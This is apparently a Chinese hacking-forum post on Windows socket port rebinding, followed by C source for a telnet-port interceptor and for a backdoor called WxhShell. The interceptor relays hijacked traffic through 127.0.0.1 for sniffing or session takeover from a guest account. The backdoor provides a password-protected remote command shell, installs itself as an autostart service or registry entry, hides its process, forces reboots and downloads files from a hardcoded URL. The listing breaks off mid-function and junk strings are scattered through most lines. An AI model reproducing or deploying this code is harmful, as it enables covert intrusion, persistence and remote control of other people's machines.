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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^>,< *p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #JJp:S~`   
xFsB?d  
  saddr.sin_family = AF_INET; kWZ/ej  
jOoIF/So  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j33P~H~  
*=-__|t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ee t+  
MZUF! B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dD/29b(  
s,UN'~e1  
  这意味着什么?意味着可以进行如下的攻击: l|@/?GaH  
;4-p upK~%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m [g< K  
|QAeQWP+1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &=s|  
6e$sA (a=i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9B!im\]O  
veYsctK~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4b3F9  
'k-u9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <|KKv5[  
]MqH13`)A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %nDPM? aO  
<?q&PCAn^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G1#Bb5q:  
]YisZE4s  
  #include z:ru68  
  #include egxJ3.  
  #include Dyouk+08x  
  #include    1jUhG2y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   / K_e;(Y_  
  int main() lRF_ k  
  { 48 c D3w  
  WORD wVersionRequested; wzHjEW  
  DWORD ret; %468s7Q[Mi  
  WSADATA wsaData; [6,]9|~  
  BOOL val; J'G`=m"-'  
  SOCKADDR_IN saddr; .R$+#_  
  SOCKADDR_IN scaddr; X]JpS  
  int err; C0t+Q  
  SOCKET s; _e:5XQ  
  SOCKET sc; 0p:ClM 2O  
  int caddsize; ]v^`+s}3  
  HANDLE mt; bMqu5G_q  
  DWORD tid;   v GR \GFm  
  wVersionRequested = MAKEWORD( 2, 2 ); 6mI_Q2  
  err = WSAStartup( wVersionRequested, &wsaData ); |l6<GWG+  
  if ( err != 0 ) { O]Ry3j  
  printf("error!WSAStartup failed!\n"); !OuTXa,I H  
  return -1; F$6])F  
  } ;G%wc!  
  saddr.sin_family = AF_INET; F653[[eQ  
   N#pl mPrZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P xP?hk  
#czyr@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -~<q,p"e  
  saddr.sin_port = htons(23); 5,0 wj0l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7/^TwNsv  
  { ~q8V<@?  
  printf("error!socket failed!\n"); Zv1Bju*y  
  return -1; 8aZey_Hw;+  
  } zCGmn& *M  
  val = TRUE; ZyS;+"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7?Qt2tr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h87L8qh9  
  { h-2E9Z  
  printf("error!setsockopt failed!\n"); p E(<XD3Q  
  return -1; (. quX@w"m  
  } :bM$;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /v bO/Mr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 80s~ae;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /SPAJHh  
So)KI_M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (v'lb!j^#  
  { m mJ)m  
  ret=GetLastError(); XZep7d}  
  printf("error!bind failed!\n"); _A)_K;cz  
  return -1; G3_mWppH  
  } YA;8uMqh;  
  listen(s,2); XD+cs.{5  
  while(1) CQ8o9A/  
  { U&w 5&W{F}  
  caddsize = sizeof(scaddr); f1]AfH#  
  //接受连接请求 {M)3GsP?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A=qW]Im  
  if(sc!=INVALID_SOCKET) /4"S}P>f  
  { WfTdD.Xx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uG(~m_7Hx  
  if(mt==NULL) ,syA()  
  { rd"]@ ~v1  
  printf("Thread Creat Failed!\n"); F;MT4*4  
  break; $Va]vC8?  
  } St7D.|  
  } 1)/T.q<D"  
  CloseHandle(mt); c>U{,z  
  } G7_"^r%c9;  
  closesocket(s); eX l%Qs#Y  
  WSACleanup(); z W" 3K  
  return 0; LG&Q>pt.  
  }   '#4mDz~  
  DWORD WINAPI ClientThread(LPVOID lpParam) d'AviW>  
  { E9Xk8w'+  
  SOCKET ss = (SOCKET)lpParam; 5cNzG4z  
  SOCKET sc; qh(-shZ4Du  
  unsigned char buf[4096]; {ck  
  SOCKADDR_IN saddr; %B {D  
  long num; l6`d48U  
  DWORD val; 2;?wN`}5g=  
  DWORD ret; 1&@wb'MBs.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "mP*}VF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /qkIoF2  
  saddr.sin_family = AF_INET; X,!OWz:[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); se n{f^U  
  saddr.sin_port = htons(23); $MJDB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y^jnlS)h  
  { S^Wqa:;  
  printf("error!socket failed!\n"); SG|i/K|7  
  return -1; yz2oS|0'  
  } R 6yvpH  
  val = 100; 602eLV)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H`6Jq?\  
  { S9"y@F <  
  ret = GetLastError(); ANpY qV  
  return -1; WlQ&Yau  
  } Etr8lm E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S4:\`Lo-;  
  { {u_k\m[Y  
  ret = GetLastError(); E]eqvTNH  
  return -1; %*Z2Gef?H  
  } }PIGj}F/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;DgX"Uzm  
  { 9CU6o:'fW  
  printf("error!socket connect failed!\n"); )V$!  
  closesocket(sc); 3~3(G[w  
  closesocket(ss); dI0>m:RBz  
  return -1; hA,rSq  
  } #L4Kwy  
  while(1) .vOpU4  
  { |b'<XQ&l5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k89gJ5B$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (+Kof  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '3_B1iAv  
  num = recv(ss,buf,4096,0); = a.n`3`Q  
  if(num>0) v!RB(T3  
  send(sc,buf,num,0); zju,#%  
  else if(num==0) hPXVPLm7I  
  break; a9EI7pnq  
  num = recv(sc,buf,4096,0); seV;f^-hR  
  if(num>0) &CeF^   
  send(ss,buf,num,0); )|^<woli,  
  else if(num==0) 5wFS.!xD  
  break; `E0.PV  
  } f({-j% m  
  closesocket(ss); ]I' xLh`  
  closesocket(sc); \PMKmJ X0O  
  return 0 ; @~U6=(+  
  } ]Y: W[p  
Hv7D+ j8M  
}Keon.N?   
========================================================== .' 2gJ"?,  
dR, NC-*  
下边附上一个代码,,WXhSHELL ZRq}g:  
e}O-I  
========================================================== [@)z$W  
gJFpEA {  
#include "stdafx.h" wZ3 vF)2s  
& Dl'*|  
#include <stdio.h> JX@6Sg<  
#include <string.h> ND9>`I 5  
#include <windows.h> FZ.z'3I  
#include <winsock2.h> Ty4%du6?d  
#include <winsvc.h> 09;'z  
#include <urlmon.h> tG ^?fc  
sd@gEp)L  
#pragma comment (lib, "Ws2_32.lib") FQ~ead36C  
#pragma comment (lib, "urlmon.lib") H- qP>:  
E29gnYxu8  
#define MAX_USER   100 // 最大客户端连接数 nTy,Jml  
#define BUF_SOCK   200 // sock buffer Qbt>}?-  
#define KEY_BUFF   255 // 输入 buffer t5v)6|  
GH+FZ (F  
#define REBOOT     0   // 重启 *rFbehfH  
#define SHUTDOWN   1   // 关机 )%@WoBRj  
!#4HGjPI  
#define DEF_PORT   5000 // 监听端口 kR~4O$riG  
=qR7-Q8B  
#define REG_LEN     16   // 注册表键长度 DHNii_w4v  
#define SVC_LEN     80   // NT服务名长度 lGHu@(n<  
d!z).G  
// 从dll定义API H6\ x.J^,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?gMrcc/{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RqjDMN:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TN@JPoH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +-YuBVHL  
T&MS_E&;  
// wxhshell配置信息 . .je<   
struct WSCFG { H{Y=&#%d  
  int ws_port;         // 监听端口 I)%jPH:ua  
  char ws_passstr[REG_LEN]; // 口令 (5DGs_>  
  int ws_autoins;       // 安装标记, 1=yes 0=no x7kg_`\U  
  char ws_regname[REG_LEN]; // 注册表键名 Jq<`j<'9  
  char ws_svcname[REG_LEN]; // 服务名 `k%#0E*H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QZa#i L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P 7.8tM2}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bsk2&17z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o^"3C1j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4N=Ie}_`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [T#a1!  
xI\s9_"Qy  
}; Fl3r!a!P,  
d47:2Zj  
// default Wxhshell configuration '2J6%Gg  
struct WSCFG wscfg={DEF_PORT, QV7c9)<]'}  
    "xuhuanlingzhe", `ur9KP4Dq  
    1, Ollv _o3  
    "Wxhshell", i\4"FO?v  
    "Wxhshell", +|)#yE$aMh  
            "WxhShell Service", k:@Ls  
    "Wrsky Windows CmdShell Service", H^1 a3L]  
    "Please Input Your Password: ", f4y;K>u7p  
  1, ygY+2  
  "http://www.wrsky.com/wxhshell.exe", !vp!\Zj7o  
  "Wxhshell.exe" \HEo8~TY  
    }; x[~OVG0M*  
Q|z06_3i  
// 消息定义模块 x,G6`|Hl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &j@J<*k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4_0/]:~5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ 14DTjj  
char *msg_ws_ext="\n\rExit."; Z=[a 8CU  
char *msg_ws_end="\n\rQuit."; +Q]'kJ<s  
char *msg_ws_boot="\n\rReboot..."; J6Nw-qF  
char *msg_ws_poff="\n\rShutdown..."; 2(J tD  
char *msg_ws_down="\n\rSave to "; F1*rUsRKN  
5@A=, GPUn  
char *msg_ws_err="\n\rErr!"; xt0j9{p  
char *msg_ws_ok="\n\rOK!"; %FFm[[nxI  
<n#V  
char ExeFile[MAX_PATH]; ?q}wl\"8  
int nUser = 0; w$:)wyR-  
HANDLE handles[MAX_USER]; d;:&3r|X  
int OsIsNt; LVl0:!>~  
yzR=:0J  
SERVICE_STATUS       serviceStatus; .FRF<_`^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }lpm Hvs  
W&f Py%g  
// 函数声明 !:[n3.vm   
int Install(void); TaJn2cC^  
int Uninstall(void); "Am0.c/  
int DownloadFile(char *sURL, SOCKET wsh); LK/V]YG  
int Boot(int flag); @W- f{V  
void HideProc(void); (jFE{M$-  
int GetOsVer(void); L;7mt 4H  
int Wxhshell(SOCKET wsl); BXw,Rz }  
void TalkWithClient(void *cs); |Z|xM  
int CmdShell(SOCKET sock);  8\ ;G+  
int StartFromService(void); <X&:tZ #/  
int StartWxhshell(LPSTR lpCmdLine); ;]x5;b9`  
gt(nZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gF5EtdN?|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V46[whL%r  
&7u Ra1/R  
// 数据结构和表定义 EZRZ)h  
SERVICE_TABLE_ENTRY DispatchTable[] = "FvlZRfXj  
{ \ySc uT  
{wscfg.ws_svcname, NTServiceMain},   NX_S  
{NULL, NULL} d'fpaLV  
}; (k.7q~:  
%,D%Q~  
// 自我安装 {5-{f=Rk  
int Install(void) `~TGVa`D  
{ tah%jRfT&  
  char svExeFile[MAX_PATH]; :E`l(sI7J}  
  HKEY key; h l'k_<a*  
  strcpy(svExeFile,ExeFile); 5B/\vLHg4  
FY*0gp  
// 如果是win9x系统,修改注册表设为自启动 Jo+C!kc  
if(!OsIsNt) { 7N=VVD~!b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nj8)HR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $0 zL  
  RegCloseKey(key); |T&#"q,i9%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FWTl:LqFO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .tsB$,/  
  RegCloseKey(key); cs;Gk:  
  return 0; g``4U3T%X  
    } u Aa>6R  
  } jhM|gV&  
} PQ]N>'v-  
else { Y2&6xTh  
B*N8:u  
// 如果是NT以上系统,安装为系统服务 7gaC)j&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M'7x:Uw;  
if (schSCManager!=0) ?7a[| -  
{ ovFfTP<3V  
  SC_HANDLE schService = CreateService `Db}q^mQ  
  ( zZiVBUmE<  
  schSCManager, JdEb_c3S  
  wscfg.ws_svcname, qrh7\`,.m/  
  wscfg.ws_svcdisp, +t{FF!mL  
  SERVICE_ALL_ACCESS, OAOmd 4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "ZW*O{  
  SERVICE_AUTO_START, )\G#[Pc7  
  SERVICE_ERROR_NORMAL, 4q8%!\A+  
  svExeFile, $dw;Kj'\  
  NULL, *E_= 8OV  
  NULL, f |5|n>*  
  NULL, R.;59s  
  NULL, >z$|O>j  
  NULL DR8dJ#  
  ); <:-&yDh u  
  if (schService!=0) p?nVPTh  
  { u\?u}t v  
  CloseServiceHandle(schService); 75i)$}_1B  
  CloseServiceHandle(schSCManager); bNgcZ V.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9z}kkYk  
  strcat(svExeFile,wscfg.ws_svcname); *n5g";k|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `<G+ N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZVU)@[s  
  RegCloseKey(key); li^E$9oWC  
  return 0; wE2?/wb  
    } v8N1fuP}  
  } $hh=-#J8  
  CloseServiceHandle(schSCManager); 6}2Lt[>O  
} $=R\3:j  
} 8/v_uEG  
2Y{9Df  
return 1; !>j- j  
} >=Veu; A  
0IuU4h5Fr  
// 自我卸载 OYy8u{@U:  
int Uninstall(void) ccAEN  
{ 7lu;lAAP  
  HKEY key; gO36tc:ce  
7\lc aC@  
if(!OsIsNt) { u e~1144  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zV#k #/$  
  RegDeleteValue(key,wscfg.ws_regname); St<\qC  
  RegCloseKey(key); 5Z{[.&x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ycm1 _z  
  RegDeleteValue(key,wscfg.ws_regname); Dl6zl6q?  
  RegCloseKey(key); 1|CO>)*D  
  return 0; 2e &Zs%u  
  } mi?Fy0\  
} GEgf_C!%@  
} yMxS'j1  
else { _G`aI*rKsy  
?jnEHn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x g@;d  
if (schSCManager!=0) anYZ"GR+  
{ seim?LK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w:Vs$,  
  if (schService!=0) e2v,#3Q\  
  { O^GTPYW  
  if(DeleteService(schService)!=0) { gnt[l0m  
  CloseServiceHandle(schService); 7 m%|TwJN  
  CloseServiceHandle(schSCManager); nS#;<p$\  
  return 0; X8<ygci+.5  
  } TkykI  
  CloseServiceHandle(schService); +8"H%#~  
  } h#>67gJV  
  CloseServiceHandle(schSCManager); JaEyVe  
} &Jz%L^  
} Q_S fFsY  
3? "GH1e  
return 1; Ghz)=3  
} %* 8QLI  
z^]nP 87  
// 从指定url下载文件 -.y3:^){^  
int DownloadFile(char *sURL, SOCKET wsh) IiL?@pIq  
{ +%^D)   
  HRESULT hr; [@)|j=:i:  
char seps[]= "/"; bbnAmZ   
char *token; ~2H)#`\ac8  
char *file; Cv3H%g+as  
char myURL[MAX_PATH]; ZtiOf}@i\  
char myFILE[MAX_PATH]; &E~7ty'  
m-K6y7t  
strcpy(myURL,sURL); 71eD~fNdx  
  token=strtok(myURL,seps); azSS:=A  
  while(token!=NULL) uG<+IT|x  
  { b^ZrevM  
    file=token; ~![R\gps  
  token=strtok(NULL,seps); f;*\y!|lg~  
  } /<5/gV 1Q  
tfsG P]9$  
GetCurrentDirectory(MAX_PATH,myFILE); DvGtO)5._  
strcat(myFILE, "\\"); %PQC9{hUy$  
strcat(myFILE, file); N4r`czoj  
  send(wsh,myFILE,strlen(myFILE),0); lVt gg?  
send(wsh,"...",3,0); 8K$:9+OY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9r!%PjNvE  
  if(hr==S_OK) ^I^k4iw 4  
return 0; vwg\qKqSM  
else 6Rso}hF}}  
return 1; V%+KJ}S!Z  
FD8aO?wvg  
} E+_ }8J .  
"8N]1q:$4  
// 系统电源模块 Yq.Omr!  
int Boot(int flag) yRAb HG,c  
{ {3?g8e]zr  
  HANDLE hToken; E: %%Dm  
  TOKEN_PRIVILEGES tkp; BZE19!  
OLv(  
  if(OsIsNt) { edm&,ph]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =,sMOJ c>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {It4=I)M  
    tkp.PrivilegeCount = 1; ?x:\RNB/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _)ERi*}x8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #3.\}d)  
if(flag==REBOOT) { ms~ mg:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V'_^g7}l&  
  return 0; /dCZoz~~T  
} UOq$88sr  
else { *Owq_)_ (|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `XTu$+  
  return 0; 3)=$BSC%  
} D[<8(~VP  
  } !j- 7,  
  else { >:s:`Au  
if(flag==REBOOT) { Qf"gH <vT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [!v:fj  
  return 0; 3ZC[H'|  
} ^ c:(HUo#  
else { Hkpn/,D5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U,/>p=s  
  return 0; yNO5h]o  
} Y40{v(Pi  
} >%xJ e'  
J^u8d?>r  
return 1; [ %r :V"  
} .L8S_Mz  
H -`7T;t~  
// win9x进程隐藏模块 DS^PHk39  
void HideProc(void) hD;[}8qN{  
{ )@Ly{cw   
Iu%S><'+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CFVe0!\  
  if ( hKernel != NULL ) &a O3N  
  { G|.>p<q   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <pz;G}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $U<xrN>O  
    FreeLibrary(hKernel); ,Xao{o(  
  } CfAX,f"ZP  
m(?M]CH(A  
return; A|jaWZM-  
} /mvuSNk  
^oj)#(3C  
// 获取操作系统版本 v50=D/&w  
int GetOsVer(void) afH`<!  
{ %U'YOE6  
  OSVERSIONINFO winfo; N[czraFBD}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c 8#A^q}  
  GetVersionEx(&winfo); W0X?"Ms|a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 53#7Yy  
  return 1;  ;A1pqHr  
  else Ig]Gg/1G  
  return 0; qbmy~\ZY  
} ;g*ab  
S.BM/M  
// 客户端句柄模块 1S<V,9(  
int Wxhshell(SOCKET wsl) fH>]>2fS  
{ HA>b'lqBM  
  SOCKET wsh; w R1M_&-s  
  struct sockaddr_in client; (@mvNlc:  
  DWORD myID; ?-Fp rC  
?~;G)5  
  while(nUser<MAX_USER) G!@tW`HO  
{ GYZzWN}U  
  int nSize=sizeof(client); (@~d9PvB>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !XQG1!|ww  
  if(wsh==INVALID_SOCKET) return 1; 2BEF8o]Np  
90&ld:97  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )9,9yd~SI  
if(handles[nUser]==0) GAV|x]R  
  closesocket(wsh); /`3< @{D  
else j $a,93P5  
  nUser++; #"=_GA^.{  
  } "^yTH/m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _da>=^hFJ  
Kr!8H/Z  
  return 0; * 3WK`9q  
} \5cAOBja  
`A])4q$  
// 关闭 socket j!xt&t4D  
void CloseIt(SOCKET wsh) 1 f).J  
{ /X {:~*.z  
closesocket(wsh); 6MqJy6  
nUser--; \|RP-8  
ExitThread(0); J[ du>1D  
} s9?klJg  
a=T_I1  
// 客户端请求句柄 w-pdpbHV  
void TalkWithClient(void *cs) ]G#og)z4  
{ t?iCq1  
v=$v*W  
  SOCKET wsh=(SOCKET)cs; @;!s"!~sv  
  char pwd[SVC_LEN]; "JT R5;`w  
  char cmd[KEY_BUFF]; ggIz) </  
char chr[1]; uAwT)km {  
int i,j; eJIBkFW/3y  
+h.$ <=  
  while (nUser < MAX_USER) { fE8/tx](  
{=VauF  
if(wscfg.ws_passstr) { :%~+&qS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -$!`8[fM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ayTEQS  
  //ZeroMemory(pwd,KEY_BUFF); "z8L}IC!e5  
      i=0; POdk0CuX  
  while(i<SVC_LEN) { HeCQF=R  
B0T[[%~3M  
  // 设置超时 =0cyGo  
  fd_set FdRead; -y;SR+  
  struct timeval TimeOut; -L}crQl.'c  
  FD_ZERO(&FdRead); 89?$xm_m  
  FD_SET(wsh,&FdRead); Xkk m~sM6  
  TimeOut.tv_sec=8; eYLeytF]Uy  
  TimeOut.tv_usec=0; |t5K!?{i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y<0 [_+(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LS}dt?78`V  
HZ* <BjE:"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VQI  
  pwd=chr[0]; 9 N[k ?kUZ  
  if(chr[0]==0xd || chr[0]==0xa) { c$ya{]a  
  pwd=0; `}Ssc-A  
  break; RoFy2A=_  
  } }J$Q  
  i++; Wt*&_+ae  
    } D7T(B=S6  
bX23F?  
  // 如果是非法用户,关闭 socket \#Ez["mD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t:X\`.W  
} ]{;=<t6  
?{ns1nW:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I'%vN^e^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EW7heIT$  
tQ=M=BPZ  
while(1) { rf?Q# KM\W  
t&MJSFkiA  
  ZeroMemory(cmd,KEY_BUFF); jr29+>  
/"Ws3.p  
      // 自动支持客户端 telnet标准   q^ lx03   
  j=0; #0V$KC*>  
  while(j<KEY_BUFF) { q|xJ)[AO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A6v<+`?  
  cmd[j]=chr[0]; o[pv.:w  
  if(chr[0]==0xa || chr[0]==0xd) { %Aq+t&-BCX  
  cmd[j]=0; ve;#o<  
  break; a/Z >-   
  } }c?/-ab>  
  j++; q'{LTg0kk  
    } 3eX;T +|o  
|7KW'=O  
  // 下载文件 PZmg7N  
  if(strstr(cmd,"http://")) { Q$ r1beA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vw0cf;  
  if(DownloadFile(cmd,wsh)) OLp;eb1g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J-yj&2  
  else {U/a h2*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;dgxeP;mp  
  } # Un>g4>Rh  
  else { :I*G tq   
|d =1|C%,  
    switch(cmd[0]) { o\6A]T=R  
  f.SV-{O_  
  // 帮助 uH 1%diL^  
  case '?': { f Glvx~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gu?O yL  
    break; %GG:F^X#  
  } c]3% wL  
  // 安装 $J}d6%   
  case 'i': { @y?<Kv}s  
    if(Install()) p(dJf&D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~<cp)!3  
    else %6rMS}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hg$t,\j  
    break; ~u| k1  
    } C":i56  
  // 卸载 wi]ya\(*yl  
  case 'r': { t:y} 7un  
    if(Uninstall()) lYEMrr!KQw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M| r6"~i  
    else el GP2x#:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g_'F(An  
    break; aBv3vSq> Q  
    } "BSSA%u?c  
  // 显示 wxhshell 所在路径 4pNIsjl}  
  case 'p': { 1UG5Q-  
    char svExeFile[MAX_PATH]; p4mlS  
    strcpy(svExeFile,"\n\r"); -XNjyXm2  
      strcat(svExeFile,ExeFile); {KkP"j'7h  
        send(wsh,svExeFile,strlen(svExeFile),0); V}<Hx3!  
    break; P>q"P1&{  
    }  "";[U  
  // 重启 W+N9~.q\^  
  case 'b': { #lDf8G|ST~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "o" ujQ(v  
    if(Boot(REBOOT)) 4wfT8CL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'vCO |?L  
    else { 8/lv,m#  
    closesocket(wsh); "]*16t%Z%x  
    ExitThread(0); 2E]SKpJ  
    } f44b=,Lry5  
    break; iEd%8 F h  
    } Y JzKE7%CO  
  // 关机 W[B%,Km%]  
  case 'd': { t [gz#'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #m 2Ss  
    if(Boot(SHUTDOWN)) $v|/*1S  
